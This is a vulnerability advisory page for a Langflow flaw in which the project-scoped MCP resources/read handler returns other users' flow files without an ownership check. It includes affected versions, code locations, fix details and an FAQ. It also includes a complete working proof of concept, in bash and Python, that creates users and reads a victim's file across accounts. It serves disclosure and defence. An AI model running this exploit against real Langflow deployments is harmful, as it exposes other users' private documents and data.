CVE-2026-105699: Langflow: Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

Published Oct 5, 2026
·
Updated

Summary Langflow's project-scoped MCP transport authenticates the caller for the projectid in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details Verified against local checkout:

- Repository: langflow-ai/langflow - Verified on release tag: v1.8.3 - Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e - Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

1. src/backend/base/langflow/api/v1/mcpprojects.py:147-193 verifyprojectauthconditional() authenticates the caller and checks access only to the projectid in the MCP transport URL.

2. src/backend/base/langflow/api/v1/mcpprojects.py:1238-1241 The project-scoped MCP server registers readresource() and forwards the attacker-controlled URI directly to handlereadresource(uri=uri).

3. src/backend/base/langflow/api/v1/mcputils.py:163-182 handlereadresource() parses the last two URI path segments as flowid and filename, then directly calls:

python storageservice.getfile(flowid=flowid, filename=filename)

No check ties the supplied flowid back to the authenticated user or the current project.

4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

- src/backend/base/langflow/api/v1/mcputils.py:102-121 handlelistresources(projectid=None) lists files for all flows. - src/backend/base/langflow/api/v1/mcputils.py:333-380 handlelisttools(projectid=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC Preconditions:

- Langflow is running locally with authentication enabled. - Two separate users exist on the same instance. - The victim has a flow with an uploaded file. - The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a source .env.verify set +a

export LANGFLOWCONFIGDIR="$PWD/.langflow-verify"

uv run python - <<'PY' from langflow.main import setupapp import uvicorn

app = setupapp(backendonly=True) uvicorn.run(app, host="127.0.0.1", port=7860, loglevel="debug") PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

- the normal file download route is blocked for the attacker (404) - the same file is readable through the attacker's own project-scoped MCP connection

bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail

export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIMUSER="victim.$RANDOM@example.com" export ATTACKERUSER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIMUSER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKERUSER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIMTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIMUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )

export ATTACKERTOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKERUSER" \ --data-urlencode "password=$PASS" | jq -r '.accesstoken' )

export VICTIMPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' )

export ATTACKERPROJECTID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' )

export VICTIMFLOWID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folderid\":\"$VICTIMPROJECTID\"}" \ | jq -r '.id' )

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOADJSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIMFLOWID" \ -H "Authorization: Bearer $VICTIMTOKEN" \ -F "file=@/tmp/secret.txt" )

export VICTIMFILE=$( printf '%s' "$UPLOADJSON" | jq -r '.filepath | split("/") | last' )

export VICTIMURI="$BASE/api/v1/files/download/$VICTIMFLOWID/$VICTIMFILE"

export ATTACKERAPIKEY=$( curl -sS -X POST "$BASE/api/v1/apikey/" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.apikey' )

export DIRECTSTATUS=$( curl -sS -o /dev/null -w '%{httpcode}' \ -H "Authorization: Bearer $ATTACKERTOKEN" \ "$VICTIMURI" )

export MCPREADOUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os

import httpx from mcp import ClientSession from mcp.client.streamablehttp import streamablehttpclient

base = os.environ["BASE"] projectid = os.environ["ATTACKERPROJECTID"] apikey = os.environ["ATTACKERAPIKEY"] victimuri = os.environ["VICTIMURI"] url = f"{base}/api/v1/mcp/project/{projectid}/streamable"

async def main(): async with httpx.AsyncClient(headers={"x-api-key": apikey}, timeout=30.0) as client: async with streamablehttpclient(url, httpclient=client) as (readstream, writestream, ): async with ClientSession(readstream, writestream) as session: await session.initialize() result = await session.readresource(victimuri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main()) PY )

echo "Direct /files/download as attacker -> $DIRECTSTATUS" echo "Project-scoped MCP resources/read -> $MCPREADOUTPUT"

Expected output:

text Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

text GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

- Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts - Unauthorized access to sensitive business data stored in flow namespaces - Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Suggested Remediations 1. Authorize resources/read against the authenticated context before calling storage. Resolve flowid to a database object and require both: flow.userid == currentuser.id and, for project-scoped transports, flow.folderid == currentprojectid.

2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

3. Scope global MCP enumeration helpers to the authenticated user. handlelistresources() and handlelisttools() should not query all flows when projectid=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing ownership check in handlereadresource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)". - Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032 - Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix: - handlereadresource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.userid == currentuser.id, additionally filtering on Flow.folderid == projectid for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcputils.py). - Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's getfile/getfilestream/deletefile/getfilesize (local.py/s3.py, both in langflow and lfx). - handlelistresources() / handlelisttools() are now scoped to currentuser.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/testmcputils.py, 21/21 passing) includes testhandlereadresourcedeniesotherusersflow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").

Other sources

Langflow is a tool for building and deploying AI-powered agents and workflows. From 1.6.8 until 1.9.1, Langflow authenticated access to the project identifier in a project-scoped MCP connection but did not authorize the resource URI supplied to resources/read. readresource forwarded the attacker-controlled URI to handlereadresource, which parsed a flowid and filename and called storageservice.getfile without verifying that the flow belonged to the authenticated user or current project. A user with access to any project-scoped MCP endpoint could therefore request another user's flow-backed file, while global handlelistresources and handlelisttools behavior could disclose flow and file identifiers that made targeting easier. The vulnerability disclosed uploaded documents, structured data, prompts, and other private flow artifacts across tenants but did not modify victim files or stored flows. This issue is fixed in version 1.9.1.

— MITRE

Affected Software

2 affected componentsFixes available
Langflow Langflow>=1.6.8<1.9.1
pip/langflow>=1.6.8<=1.9.0
1.9.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/langflow to a version that resolves this vulnerability.

    Fixed in 1.9.1
  2. Upgrade

    Upgrade langflow-ai/langflow to a version that resolves this vulnerability.

    Fixed in 1.9.1

Event History

Oct 5, 2026
CVE Published
via MITRE·08:37 PM
Data Sourced
via MITRE·08:37 PM
DescriptionWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Oct 7, 2026
Advisory Published
via GitHub·08:35 PM
Data Sourced
via GitHub·08:35 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are affected?

Langflow versions from 1.6.8 up to, but not including, 1.9.1 are affected. The issue applies where an authenticated user can access a project-scoped MCP endpoint.

2

What access does an attacker need?

An attacker needs authenticated access to any project-scoped MCP endpoint. They can then supply a resource URI targeting another user's flow-backed file; no victim interaction is required.

3

What information could be exposed?

The issue can expose uploaded documents, structured data, prompts, and other private artifacts stored for flows in other projects or tenants. It does not allow modification of victim files or stored flows.

4

How could an attacker identify files to target?

Global resource and tool listing behavior could disclose flow and file identifiers, making it easier to construct requests for another user's flow-backed files.

5

What is the remediation?

Upgrade Langflow to version 1.9.1, which fixes the missing authorization check for resource URIs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203